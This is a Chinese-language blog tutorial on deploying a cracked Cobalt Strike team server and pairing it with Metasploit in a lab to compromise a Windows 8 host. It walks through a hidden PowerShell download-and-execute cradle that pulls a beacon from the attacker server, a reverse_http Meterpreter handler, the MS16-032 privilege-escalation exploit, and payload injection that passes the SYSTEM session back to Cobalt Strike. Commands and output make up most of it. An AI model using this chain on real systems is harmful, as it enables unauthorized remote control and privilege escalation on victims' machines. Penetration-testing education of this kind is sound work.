freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CobaltStrike的使用(与MSF联动处理操作进行提权)
SSVIP999 2024-02-26 15:26:31 181945


CS使用方法简单介绍部署CS的使用监听器攻击载荷payload提权操作(与kali进行联动)

CS使用方法

简单介绍

1708931566_65dc39ee47a8cd4afe139.png!small?1708931566120

CS有两个,客户端和服务端,服务端可以部署在VPS上,客户端进行连接。


部署

  1. 查看vps是否有java环境:有就进行下一步,没有就安装java环境1.8

┌──(root㉿kali)-[/home/kali/Desktop/CS_server/Server]
└─# java -version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk version "17.0.10-ea" 2024-01-16
OpenJDK Runtime Environment (build 17.0.10-ea+6-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.10-ea+6-Debian-1, mixed mode, sharing)

这里看到是有java17环境的,我们就进行下一步。

若没有java环境我们使用命令进行安装java环境:

(kali环境下安装)

1.更新软件包列表:
首先,确保您的软件包列表是最新的,使用以下命令更新:
sudo apt update

2.安装 OpenJDK:
在更新软件包列表后,您可以使用以下命令安装 OpenJDK
sudo apt install default-jdk
这将安装默认的 OpenJDK 版本。如果您想要特定版本的 OpenJDK,您可以替换 default-jdk 为相应的包名,例如 openjdk-11-jdk。

3.验证安装:
安装完成后,您可以使用以下命令验证 Java 安装是否成功:
java -version
这将显示已安装的 Java 版本信息。

4.设置 JAVA_HOME 环境变量(可选):
在某些情况下,您可能需要设置 JAVA_HOME 环境变量,以便系统中的其他程序能够找到 Java 的安装路径。您可以编辑 ~/.bashrc 文件并添加以下行:
export JAVA_HOME=/usr/lib/jvm/default-java
export PATH=$PATH:$JAVA_HOME/bin
请根据您的实际安装路径进行相应修改。

5.刷新环境变量:
更新 ~/.bashrc 文件后,使用以下命令使更改生效:
source ~/.bashrc

通过执行以上步骤,您应该能够在 Kali Linux 上成功安装 OpenJDK 环境。请注意,默认情况下,Kali Linux 已经包含了一些预安装的软件包,但如果您需要特定版本的 Java,则需要使用适当的软件包进行安装。

(centos安装openjdk环境)

1.更新软件包列表:
首先,确保您的软件包列表是最新的,使用以下命令更新:
sudo yum update

2.安装 OpenJDK:
在更新软件包列表后,您可以使用以下命令安装 OpenJDK:
sudo yum install java-1.8.0-openjdk
如果您想要安装其他版本的 OpenJDK,您可以使用相应的软件包名称。例如,安装 OpenJDK 11 可以使用 java-11-openjdk。

3.验证安装:
安装完成后,您可以使用以下命令验证 Java 安装是否成功:
java -version
这将显示已安装的 Java 版本信息。

4.设置 JAVA_HOME 环境变量(可选):
在某些情况下,您可能需要设置 JAVA_HOME 环境变量,以便系统中的其他程序能够找到 Java 的安装路径。您可以编辑 /etc/profile 或 ~/.bash_profile 文件并添加以下行:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export PATH=$PATH:$JAVA_HOME/bin
请根据您的实际安装路径进行相应修改。

4.刷新环境变量:
更新配置文件后,使用以下命令使更改生效:
source /etc/profile

通过执行以上步骤,您应该能够在 CentOS 上成功安装 OpenJDK 环境。请注意,OpenJDK 是 Java 的开源实现,通常与 Oracle JDK 相兼容,并且在大多数情况下可以满足需求。

1708931719_65dc3a87139af566f0918.png!small?1708931719285

1708931734_65dc3a9623d79b85547ff.png!small?1708931734144

  1. 将CobaltStrike的Server端内容传送到VPS服务器(通过scp命令将本地win文件传送到vps服务器)

命令:
scp local_file username@hostname:remote_path
将local_file替换为要传输的文件路径
remote_path替换为主机上目标路径

将E:\AttackTools\CobaltSrike_4.9.1_Cracked下的Server文件传送到Vps上的/目录上:
scp E:\AttackTools\CobaltSrike_4.9.1_Cracked root@1.94.50.200:/
这样报错E:/AttackTools/CobaltSrike_4.9.1_Cracked: not a regular file,
我们修改后:
scp -r E:/AttackTools/CobaltSrike_4.9.1_Cracked root@1.94.50.200:/

注意:
我们传送的是一个文件,需要使用-r进行递归
在windows环境下我们需要使用/路径

1708931752_65dc3aa878095232f1313.png!small?1708931752541

  1. 赋予权限:初始权限可能不够执行程序的,故开始赋予权限。

chmod 777 文件名  赋予读写执行所有权限
chmod +x 文件名  仅赋予执行权限
这里注意需要将teamserver文件和TeamServer文件都赋值x权限。

1708931773_65dc3abd84a917531d15e.png!small?1708931773526

  1. 开始启动软件服务

./teamserver vps的IP 密码

这里我们在kali上进行的部署:
kali的ip:192.168.100.130
./teamserver 192.168.100.130 123456

CS默认是50050端口,想更改的话,打开teamsever文件在其中将50050进行修改即可。

1708931786_65dc3acaa63a0ae05c1ab.png!small?1708931787196

windows主机进行连接:

1708931796_65dc3ad4628ace116dfbe.png!small?1708931796279

成功连接!!

  1. 网络上有教程说退出后就不再运行了问题。

链接:
https://blog.csdn.net/qq89115156/article/details/112385723#:~:text=%E5%85%AC%E7%BD%91%E6%9C%8D%E5%8A%A1%E5%99%A8%EF%BC%9ACentOS%207.6%2064%E4%BD%8D%E6%9C%AC%E6%9C%BA%E5%B7%B2%E4%B8%8B%E8%BD%BD%E5%A5%BD%EF%BC%9Acobaltstrike%203.14%2B%E6%AD%A3%E5%BC%8F%E7%89%88%E7%A0%B4%E8%A7%A3%2B%E6%B1%89%E5%8C%96%E4%B8%80.%20%E5%AE%89%E8%A3%85JAVA%20%E7%8E%AF%E5%A2%83yum%20install%20-y,%E7%94%A8%E4%BA%8E%E6%96%87%E4%BB%B6%E7%9A%84%E4%B8%8A%E4%BC%A0%20%E4%B8%8E%E4%B8%8B%E8%BD%BDyum%20install%20-y%20lrzsz%E5%AE%89%E8%A3%85%E5%AE%8C%E6%88%90%20%E5%B0%9D%E8%AF%95%20%E8%BE%93%E5%85%A5%20rz%E5%9B%9B..._centos%E5%90%8E%E5%8F%B0%E8%BF%90%E8%A1%8Ccobalstrika

解决:
安装screen
yum -y install screen
安装完成后启动CS服务。
然后ctrl+a+d关闭窗口并后台执行。
screen-ls查看。
screen -r 数字重新进入会话。




CS的使用

上线CS三步:
1.设置监听器
2.生成payload攻击载荷
3.目标机器运行,进行上线

监听器

CS内部有很多模块,但是使用CS首先就是要配置监听!!

参考链接:
https://blog.csdn.net/qq_44159028/article/details/118157559

1708931819_65dc3aeb7c7b13db80a7c.png!small?1708931819550

在我们建立新的监听器的时候,发现可选的payload类型有很多:

1708931831_65dc3af784fbf17690704.png!small?1708931831459

这里需要进行解释:

  • Beacon是什么?

·Beacon是CS的Payload

·Beacon有两种通信模式。一种是异步通信模式,这种模式通信效率缓慢,Beacon回连团队服务器、下载任务、然后休眠;另一种是交互式通信模式,这种模式的通信是实时发生的。

·通过HTTP、HTTPS和DNS出口网络

·使用SMB协议的时候是点对点通信

·Beacon有很多的后渗透攻击模块和远程管理工具-

  • Foreign

Foreign直译就是外部的,这里可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload,个人理解Foreign监听器在一定程度上提高了CS的兼容性。对外监听器的名称例如:

windows/foreign/reverse_https
  • Beacon类型?

HTTP 和 HTTPS Beacon

HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据

windows/beacon_http/reverse_http
windows/beacon_https/reverse_https

DNS Beacon

windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http

SMB Beacon

SMB Beacon也可以叫做pipe beacon

windows/beacon_smb/bind_pipe

DNS Beacon解释:

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。

DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务

在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方

优点:木马隐蔽性好,受害者不开放任何端口,可以规避防火墙,走53端口

缺点:响应速度慢

攻击载荷payload

1708931845_65dc3b05c0dea659f4179.png!small?1708931845638

在此处的payload有很多类型,我们先解释常用的一个:

Attacks-->Scripted Web Deliver(s)--获得链接-->在对应系统内进行cmd执行即可

1708931866_65dc3b1a22cfae95c390f.png!small?1708931866300

1708931888_65dc3b302cea639fc7df4.png!small?1708931888025

成功上线!!

这里的思路是:获得对应主机的shell,然后我们执行这个操作,将会话传递到CS上进行操作,CS也可以将会话传到MSF,MSF模块有很多,对提权很有帮助,然后MSF也可将提权后的会话还给CS。



提权操作(与kali进行联动)

这里使用的是CS4.7版本!!!
环境:
悬剑win11作为CS客户端:192.168.100.147
kali2023作为CS服务端:192.168.100.130
kali2022作为msf攻击机:192.168.100.128
win8-64作为被攻击机:192.168.100.144

示意图:

1708931907_65dc3b4361abc1c1db29f.png!small?1708931907310

  1. kali已经启动CS4.5服务,悬剑也已经连接了CS服务器,并且配置了监听器。

1708931921_65dc3b5128e7e830b9bd0.png!small?1708931921430

  1. 配置payload并执行

1708931929_65dc3b59101aab4a61771.png!small?1708931929235

这里点击web投递。

1708931938_65dc3b62695c3fa5422fd.png!small?1708931938520

这里选择监听器后之际运行即可。

点击运行之后会给出一个命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.100.130:80/a'))"

这个命令我们在win8-64的cmd窗口运行即可!

  1. 上线了

1708931946_65dc3b6aa614cfb3f9ac4.png!small?1708931946508


在interact界面输入:
sleep 1
意思是每一秒刷新一次。

1708931954_65dc3b72b2e2efabd575d.png!small?1708931954596

ok!!!

  1. 增加一个监听器(监听外部的kali的msf)

1708931964_65dc3b7c11fabad27455c.png!small?1708931964166

  • 进入kali的msf界面进行监听

    handler -H 192.168.100.128 -P 6666 -p windows/meterpreter/reverse_http
    kali的IP           端口 msf的模块

    1708931973_65dc3b854476c7a35fb97.png!small?1708931973127

    监听成功!!

  • 进入CS选择对应MSF的监听

1708931983_65dc3b8f8394a6f28ba94.png!small?1708931983530

1708931993_65dc3b99196c89c953dc5.png!small?1708931992951

  • 回到kali的msf界面查看

    1708932002_65dc3ba2a25461904baa9.png!small?1708932002818

成功得到shell!!

  1. MSF的建议(suggest模块multi/recon/local_exploit_suggester)进行提权操作

一些msf的命令:
sessions -l         查看所有获得的shell
sessions -i xx       使用xx的shell
getuid               查看这个shell的权限
bg   挂起shell放在后台
search suggest       列出建议
use                 使用模块
set session 1       将模块的目标设置为session1的会话
options 显示模块的设置选项
run       运行

clear               清屏
info                 查看特定模块的详细信息
  • 得到shell后首先看这个shell的权限

显示所有的会话:
sessions -l

1708932022_65dc3bb69254885daf503.png!small?1708932022560

选择这个会话:
sessions -i 1

1708932030_65dc3bbebae7c02b2ecf9.png!small?1708932030686

查看权限:
getuid

1708932038_65dc3bc63fbc26f6fb273.png!small?1708932038093

挂起会话到后台:
bg

1708932056_65dc3bd8217bb87e8435e.png!small?1708932056021

查找建议模块:
search suggest

1708932067_65dc3be375b159fb56a2e.png!small?1708932067614

这里看到suggest模块在第二位,我们进行选择使用。

选择第二位的suggest模块:
use 2
将模块目标设置为session1:
set session 1
查看search模块的选项:
show options
运行:
run

1708932080_65dc3bf026fb1e7a9d194.png!small?1708932080476

运行后的结果:

1708932093_65dc3bfd5f57e16320f30.png!small?1708932093963

  • 使用第三位的(exploit/windows/local/ms16_032_secondary_logon_handle_privesc)进行提权操作。

使用这个提权模块:
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
展示配置:
show options


1708932103_65dc3c07cfc98770c05d9.png!small?1708932104168

设置参数:
set session 1   将模块目标设置为session1
执行:
run

1708932124_65dc3c1c55c7603d9f0ea.png!small?1708932124388

1708932135_65dc3c27708ecce30e59c.png!small?1708932135712

提权成功!!!

  1. 将提权后的shell传送给CS

  • 将提权后的shell挂起在后台

将会话放在后台:
bg

1708932144_65dc3c301e83d305dbd27.png!small?1708932144322

这里看到挂起后的shell是session2。

  • 查找(payload_injuct模块),进行使用

查找:
search payload_inject
选择使用:
use 0
展示选项:
show options

1708932153_65dc3c399998ff1a32912.png!small?1708932153836

设置payload的目标:
set payload windows/meterpreter/reverse_http
设置lhost:
set lhost 192.168.100.130     这里是cs服务器的IP
set lport 5555                 这个是win11监听的端口
将session2也就是提权后的session注入进去:
set session 2
运行:
run

1708932180_65dc3c54712fb1125b059.png!small?1708932180438

注入session成功,看到PID是3192!!

  • 进入CS查看是否反弹成功

1708932189_65dc3c5dac7d6dbf26523.png!small?1708932189620

注入成功!!!

# 渗透测试 # 提权 # Cobalt strike # MSF渗透 # 内网提权
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 SSVIP999 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
SSVIP999 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
Me-And-My-Girlfried靶机(爆肝两分钟-喔)
2023-03-15
Metasploitable:1
2022-10-21
文章目录